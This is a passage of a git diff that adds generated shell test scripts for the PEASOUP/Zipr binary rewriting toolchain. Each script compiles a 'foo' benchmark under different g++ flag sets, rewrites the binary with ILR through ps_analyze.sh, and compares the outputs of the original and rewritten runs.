+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..28ac67cafee9f34c08528472c14ee3a6a3c4c66d
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os     -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os     -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..2aaecc279a1c11b9d14fb871b201f60f7374914b
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os     -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os     -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..d8f8a182ef92dc36b8109903e8b07b8f2200badc
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os       -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os       -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..68801140c33f56bc6ff1dda295930f7f11666053
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os       -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os       -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..5551112605de47b4a79e20df07b3e12b77cd1e9f
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="    -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="    -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..3cc7e4c98b7eb36b64c8dc42f8dcc2fd0e2e8f20
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="    -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="    -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
